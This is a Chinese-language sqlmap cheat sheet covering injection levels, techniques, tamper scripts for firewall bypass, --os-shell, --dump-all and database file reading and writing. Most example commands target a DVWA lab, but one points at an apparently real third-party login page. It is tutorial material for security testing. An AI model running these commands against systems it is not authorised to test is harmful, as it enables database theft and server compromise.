sqlmap简单用法
-f #指纹判别数据库类型
-b #获取数据库版本信息
-U #指定数据库用户
–dbms #指定数据库(MySQL,Oracle)
–os #指定系统(Linux,Windows)
--delay 延迟的时间
–os-shell #系统交互shell
探测等级: --level 5
--level 5 指的是需要执行的测试等级
一共有5个等级(1-5) 不加 level 时,默认是1
5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。
level=2 http cookie会测试
level=3 http user-agent/referer头会测试
在不能确定哪个payload或参数为注入点时,建议使用高的level值。
-v VERBOSE(测试结果的信息复杂度) #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--thread 设置线程,sqlmap可以设置最大的线程数为10
例:
python2 sqlmap.py -u "http://192.168.73.133/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=low; PHPSESSID=ramq7vv28q2mbgt219a2pnbnk0" --current-db
注入通过post提交id查询。
1.使用burpSuite拦截post包,复制下数据包为a.txt
2.sqlmap -r a.txt -p 参数 --batch 默认选择 --dump-all 直接爆破所有
例如
sqlmap -r a.txt -p username --batch --dump-all
3.或者指定参数也可以
sqlmap -u http://vip.fj0730.cn/login.asp --data "userid=aaa&passwd=bbbb"
sqlmap Techniques
--technique BQTUES
指定sqlmap使用的检测技术,默认情况下会测试所有的方式。
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
tamper脚本利用
sqlmap -u [url] --tamper=apostrophemask
常用脚本:
网址:https://www.cnblogs.com/mark0/p/12349551.html
脚本名称 作用
apostrophemask.py 用utf8代替引号
equaltolike.py like 代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py 空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py 空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’
一些妙用
• 避免过多的错误请求被屏蔽 参数:--safe-url,--safe-freq
• 二阶SQL注入 参数:--second-order
• 从数据库服务器中读取文件 参数:--file-read
• 把文件上传到数据库服务器中 参数:--file-write,--file-dest
• 爬行网站URL 参数:--crawl
• 非交互模式 参数:--batch
• 测试WAF/IPS/IDS保护 参数:--identify-waf
• 启发式判断注入
参数:--smart(有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。)
sqlmap getshell
命令补充:
sqlmap读取与写入文件
–file-read :从后端的数据库管理系统文件系统读取文件
python2 sqlmap.py -u "http://127.0.0.1/DVWA-master-BGW/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=msk57r8b3ma9m7gtciqdo2uao1" -file-read "/etc/php/7.3/apache2/php.ini"
–file-write:编辑后端的数据库管理系统文件系统上的本地文件(从本地写入)
–file-dest :后端的数据库管理系统写入文件的绝对路径 (写入目标路径)
可以用以上几个命令对SQL注入后的系统文件进行读写,但是前提条件是需要有可读可写的权限并且为dba权限,否则无法成功进行读写操作。